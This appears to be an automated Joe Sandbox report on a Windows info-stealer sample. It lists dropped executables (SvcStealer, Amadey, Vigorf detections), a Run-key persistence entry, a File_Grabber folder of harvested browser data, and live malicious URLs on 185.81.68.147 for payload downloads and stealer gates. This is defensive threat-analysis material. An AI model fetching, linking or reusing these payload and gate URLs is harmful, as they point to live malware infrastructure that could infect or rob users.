C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\python38.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI3442\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\tmp1946.exe	53%	ReversingLabs	Win64.Hacktool.SvcStealer
C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	26%	ReversingLabs	Win64.Trojan.Amadey
C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	66%	ReversingLabs	Win64.Trojan.Vigorf

Source	Detection	Scanner	Label
http://185.81.68.147/psw.exe	100%	Avira URL Cloud	phishing
http://crl.mic:	0%	Avira URL Cloud	safe
http://185.81.68.147/data.php	100%	Avira URL Cloud	phishing
http://185.81.68.147/gg.php	100%	Avira URL Cloud	phishing
http://www.winimage.com/zLibDll1.3.1-wbr	0%	Avira URL Cloud	safe
http://185.81.68.147/zx.exe	100%	Avira URL Cloud	phishing
http://185.81.68.147/TT.exe	100%	Avira URL Cloud	malware
http://185.81.68.147/psw.exeDiamotrixGDU1CAMRFRsZKUklCBwfBgYIGDUVCQ4AEw==DiamotrixGDUFBBwXHRscGDUtAg	100%	Avira URL Cloud	phishing
http://185.81.68.147/gg.phptmUP	100%	Avira URL Cloud	phishing
http://185.81.68.147/gg.phpdb	100%	Avira URL Cloud	phishing
http://185.81.68.147/gg.phpReflectiveLoader	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.81.68.147/zx.exe	true	Avira URL Cloud: phishing	unknown
http://185.81.68.147/data.php	true	Avira URL Cloud: phishing	unknown
http://185.81.68.147/gg.php	true	Avira URL Cloud: phishing	unknown
http://185.81.68.147/TT.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	tmp8AEF.exe, 00000009.00000002.2284008198.000002E4BB870000.00000004.00001000.00020000.00000000.sdmp	false		high
https://word.office.comon	explorer.exe, 00000003.00000002.3343563900.00000000099BF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high
http://python.org/dev/peps/pep-0263/	tmp8AEF.exe, 00000009.00000002.2285358677.00007FF8A8DFD000.00000002.00000001.01000000.0000000A.sdmp	false		high
http://www.autoitscript.com/autoA	explorer.exe, 00000003.00000000.2118670983.000000000C891000.00000004.00000001.00020000.00000000.sdmp	false		high
http://185.81.68.147/psw.exeDiamotrixGDU1CAMRFRsZKUklCBwfBgYIGDUVCQ4AEw==DiamotrixGDUFBBwXHRscGDUtAg	tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false	Avira URL Cloud: phishing	unknown
https://curl.se/docs/http-cookies.html	tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false		high
http://ocsp.thawte.com0	tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	false		high
https://powerpoint.office.comcember	explorer.exe, 00000003.00000002.3349111862.000000000C460000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2117173710.000000000C460000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.mic	tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.81.68.147/psw.exe	tmp1946.exe, tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.autoitscript.com/auto	explorer.exe, 00000003.00000003.2691930896.000000000C8ED000.00000004.00000001.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false		high
https://excel.office.com	explorer.exe, 00000003.00000003.3094406378.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.micro	explorer.exe, 00000003.00000002.3342356971.0000000008870000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2112187028.0000000007DC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000003.00000000.2112881693.0000000008890000.00000002.00000001.00040000.00000000.sdmp	false		high
http://www.python.org/download/releases/2.3/mro/.	tmp8AEF.exe, 00000009.00000003.2280679574.000002E4B9C74000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2280711426.000002E4B9C68000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2284411794.000002E4BBBB0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://outlook.com	explorer.exe, 00000003.00000003.3094406378.0000000009D42000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009B7C000.00000004.00000001.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	tmp8AEF.exe, 00000009.00000003.2281953921.000002E4B9BC0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283820341.000002E4B9C57000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282844715.000002E4B9BE0000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283743849.000002E4B9BE1000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	tmp1946.exe, tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false		high
http://crl.mic:	tmp8AEF.exe, 00000006.00000003.2247224120.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://curl.se/docs/alt-svc.html#	tmp1946.exe	false		high
http://185.81.68.147/gg.phptmUP	tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	tmp8AEF.exe, 00000006.00000003.2247517207.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258958415.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248074256.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247931359.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2256277790.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2258237059.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2262428739.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2263553092.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2248288112.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000006.00000003.2247713343.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.6.dr, _ctypes.pyd.6.dr, libffi-7.dll.6.dr, select.pyd.6.dr, _lzma.pyd.6.dr, unicodedata.pyd.6.dr	false		high
https://curl.se/docs/hsts.html#	tmp1946.exe	false		high
https://android.notify.windows.com/iOS	explorer.exe, 00000003.00000000.2106502490.00000000076F8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3339715609.00000000076F8000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDll	tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false		high
https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppcrobat.exe	explorer.exe, 00000003.00000000.2117173710.000000000C4DC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3096617863.000000000C547000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3349612496.000000000C54A000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/	explorer.exe, 00000003.00000000.2113623641.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000002.3343563900.0000000009ADB000.00000004.00000001.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html#	tmp1946.exe	false		high
http://www.python.org/dev/peps/pep-0205/	tmp8AEF.exe, 00000006.00000003.2255370339.0000024B41D40000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2281772785.000002E4B9C70000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000002.2283914554.000002E4B9C7C000.00000004.00000020.00020000.00000000.sdmp, tmp8AEF.exe, 00000009.00000003.2282198812.000002E4B9C73000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.81.68.147/gg.phpdb	tmp1946.exe, 0000000B.00000002.2550280470.000001DEDDCEC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	tmp8AEF.exe, 00000009.00000003.2282767428.000002E4B9C54000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.v	explorer.exe, 00000003.00000002.3335969864.0000000000F13000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2103838610.0000000000F13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.winimage.com/zLibDll1.3.1-wbr	tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://185.81.68.147/gg.phpReflectiveLoader	tmp1946.exe, 0000000B.00000000.2285738075.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe, 0000000B.00000002.2550694420.00007FF683977000.00000002.00000001.01000000.0000000E.sdmp, tmp1946.exe.2.dr	false	Avira URL Cloud: phishing	unknown
https://wns.windows.com/)s	explorer.exe, 00000003.00000002.3343563900.00000000099BF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000003.3094406378.00000000099B1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.2113623641.00000000099C0000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.81.68.147	unknown	Finland		50108	KLNOPT-ASFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580849
Start date and time:	2024-12-26 12:04:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	52kYJGCon6.exe renamed because original name is a hash value
Original Sample Name:	f5c5c9d5a779ad7077cca7bef57e94f0.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/97@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 69% Number of executed functions: 129 Number of non-executed functions: 301
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.63, 4.175.87.197
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
06:05:00	API Interceptor	722886x Sleep call for process: svchost.exe modified
06:05:01	API Interceptor	232724x Sleep call for process: explorer.exe modified
12:04:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Services C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe
12:05:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run Services C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.81.68.147	CwQQqCmqkY.exe	Get hash	malicious	MicroClip	Browse	185.81.68.147/gg.php
	uFVgJVXaEU.exe	Get hash	malicious	RedLine	Browse	185.81.68.147/VzCAHn.php?2F409E82DCA61388941053
	m5804Te9Uw.exe	Get hash	malicious	RedLine	Browse	185.81.68.147/VzCAHn.php?443320E440F81953448019
	3Qv3xyyL5G.exe	Get hash	malicious	RedLine	Browse	185.81.68.147/VzCAHn.php?65D35BAB97073674480464
	K6qneGSDSB.exe	Get hash	malicious	Babadeda, RedLine	Browse	185.81.68.147/VzCAHn.php?616766F8886C145454191
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	185.81.68.147/tizhyf/gate.php?232B06DEE822786254513
	mggoBrtk9t.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.147/7vhfjke3/index.php
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.147/7vhfjke3/index.php?wal=1

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
KLNOPT-ASFI	CwQQqCmqkY.exe	Get hash	malicious	MicroClip	Browse	185.81.68.147
	uFVgJVXaEU.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	m5804Te9Uw.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	3Qv3xyyL5G.exe	Get hash	malicious	RedLine	Browse	185.81.68.147
	K6qneGSDSB.exe	Get hash	malicious	Babadeda, RedLine	Browse	185.81.68.147
	file.exe	Get hash	malicious	Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc	Browse	185.81.68.147
	mggoBrtk9t.exe	Get hash	malicious	Amadey, RedLine	Browse	185.81.68.148
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	D72j5I83wU.dll	Get hash	malicious	Amadey	Browse	185.81.68.148
	hoPazBDFG9.dll	Get hash	malicious	Amadey	Browse	185.81.68.148

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI3442\VCRUNTIME140.dll	DeltaX.exe	Get hash	malicious	Unknown	Browse
	zapret.exe	Get hash	malicious	Unknown	Browse
	uFVgJVXaEU.exe	Get hash	malicious	RedLine	Browse
	m5804Te9Uw.exe	Get hash	malicious	RedLine	Browse
	zapret.exe	Get hash	malicious	Unknown	Browse
	3Qv3xyyL5G.exe	Get hash	malicious	RedLine	Browse
	K6qneGSDSB.exe	Get hash	malicious	Babadeda, RedLine	Browse
	oKfMLwqaRZ.exe	Get hash	malicious	Unknown	Browse
	mggoBrtk9t.exe	Get hash	malicious	Amadey, RedLine	Browse
	yINR7uQlPr.exe	Get hash	malicious	Amadey, RedLine	Browse

Created / dropped Files

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\0.1.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Dy:W
MD5:	34BD1DFB9F72CF4F86E6DF6DA0A9E49A
SHA1:	5F96D66F33C81C0B10DF2128D3860E3CB7E89563
SHA-256:	8E1E6A3D56796A245D0C7B0849548932FEE803BBDB03F6E289495830E017F14C
SHA-512:	E3787DE7C4BC70CA62234D9A4CDC6BD665BFFA66DEBE3851EE3E8E49E7498B9F1CBC01294BF5E9F75DE13FB78D05879E82FA4B89EE45623FE5BF7AC7E48EDA96
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	0.1..

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\0.2.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:Ay:Ay
MD5:	C204E9FAAF8565AD333828BEFF2D786E
SHA1:	7D23864F5E2A12C1A5F93B555D2D3E7C8F78EEC1
SHA-256:	D65B6A3BF11A27A1CED1F7E98082246E40CF01289FD47FE4A5ED46C221F2F73F
SHA-512:	E72F4F79A4AE2E5E40A41B322BC0408A6DEC282F90E01E0A8AAEDF9FB9D6F04A60F45A844595727539C1643328E9C1B989B90785271CC30A6550BBDA6B1909F8
Malicious:	false
Preview:	0.2..

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	data
Category:	dropped
Size (bytes):	764
Entropy (8bit):	2.71278771083604
Encrypted:	false
SSDEEP:	12:YIrxA3rOpKmA4RP7EcJBSiGl6s8A6yZn2KKrn2U3QPZRpX5Cwo5WHWn:YIrcSpKmNRwcfHGF8AJp9WtAZRJ5poI2
MD5:	3E059D830158FF4A28F904D1CF0DBE84
SHA1:	B5FC22017FA5BBE4728A93CFC27F8300EEAE310F
SHA-256:	33FACD9836FDB30E3916C74E1AFCBD7A3A209D65F2B5BCF3FD81C7585047C196
SHA-512:	1AC6CC78050CFC70EE9A0A46D11EA0F21262036A3359E3BED28D4F3967C9449EA5B8872CC4477E7517BF06B8CD814EB30C0CE5B5F5A32B4970C0E4CDF63FE3BD
Malicious:	false
Preview:	3.7.4.6.3.7.6.,.1.1.9.6.3.7.8.,.1.7.8.8.6.5.8.,.1.2.5.,.2.5.5.0.5.0.8.8.,.1.1.9.,.3.0.0.4.9.2.6.8.,.;.3.7.4.6.3.7.8.,.3.2.9.4.5.8.7.9.9.,.6.3.6.4.3.3.4.,.3.0.1.5.3.7.2.1.,.2.3.7.1.6.5.1.,.6.5.4.0.2.1.5.,.2.4.6.0.9.2.5.8.,.4.0.6.9.3.5.8.2.,.1.0.4.9.5.2.3.4.,.6.3.6.4.3.1.8.,.3.0.1.2.3.4.6.6.,.2.7.1.5.3.4.9.7.,.6.3.7.1.6.9.4.,.5.9.2.2.3.4.2.3.,.5.7.9.9.9.6.6.1.,.1.5.6.1.9.5.8.,.6.3.0.6.3.0.9.9.,.2.7.3.6.0.0.9.5.,.5.8.4.2.5.8.6.0.,.6.3.6.4.3.3.7.,.6.1.7.0.7.3.0.7.,.6.3.6.4.3.3.0.,.6.3.6.4.3.3.1.,.6.7.4.8.3.9.6.1.4.,.3.3.7.9.1.6.2.,.4.7.3.8.2.9.4.8.,.1.6.5.7.4.5.3.,.1.0.6.9.5.5.2.,.1.6.5.7.4.5.2.,.5.2.9.1.0.0.0.0.,.1.3.5.2.5.8.6.,.1.3.5.2.5.8.7.,.1.7.7.1.6.5.7.,.1.0.2.3.8.6.4.,.1.0.2.3.6.3.8.,.6.3.7.1.6.9.5.,.4.8.1.9.5.5.3.8.,.1.4.6.1.9.5.3.,.6.3.6.4.3.3.2.,.

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\AlternateServices.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	449
Entropy (8bit):	5.029503277055257
Encrypted:	false
SSDEEP:	12:2MQpcNRQSQa+ifNWSncK1U8E0jNN+OUjcK1U8E0Zv:2MucTZTzN/L1U70jjq1U70R
MD5:	F8037614637B47FF611C9C997CE0A9A3
SHA1:	03E169CB2D0E6D96F6D52A56E6D3A8ABB7E76306
SHA-256:	FD3043377696C2D595313757EECCA14A5C75232AD13F4A08F549907321144480
SHA-512:	5E9DCBAC46B3DA33FAD146D4DBFF13E7A3C75F67CEEDE98339F04806D5F9877C9590739A3F892E56F9E82B6F93238C37D56627E0B1663DA2332EA0ACE9DF7843
Malicious:	false
Preview:	https:push.services.mozilla.com:443:.::3.0.19634.https:push.services.mozilla.com:443:push.services.mozilla.com:443::n:1699018838:h3:y:1696426830:n::\|n:y:.https:accounts.firefox.com:443:.:^partitionKey=%28about%2Cabout.ef2a7dd5-93bc-417f-a698-142c3116864f.mozilla%29:3.0.19634.https:accounts.firefox.com:443:accounts.firefox.com:443::n:1699018832:h3:y:1696426830:n:^partitionKey=%28about%2Cabout.ef2a7dd5-93bc-417f-a698-142c3116864f.mozilla%29:\|n:y:.

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\C__Windows_SystemApps_Microsoft.Windows.Search_cw5n1h2txyewy_cache_Desktop_8[1].txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:a7UY:BY
MD5:	84D28105C30FBBB30EA753EC5B819FA9
SHA1:	9ACA3A45B6A3675BE9D809480BA199CB5DA1FA5B
SHA-256:	ECE2D6AAF1D8B1B059C0CA3B074E893A16F7DCB24A9D4C8F8F5BCECBD6BBCAF8
SHA-512:	A57A9E31ED629E6C31C78EA15F5FA619A1CAC0DB5BA86AAE78C0CDD738FF54E74182AE882C855E19F73D309AF58C90AE58B937E8203315B7DDE676FE61ADDEBC
Malicious:	false
Preview:	.z{a:1}

C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\Latest.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1946.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
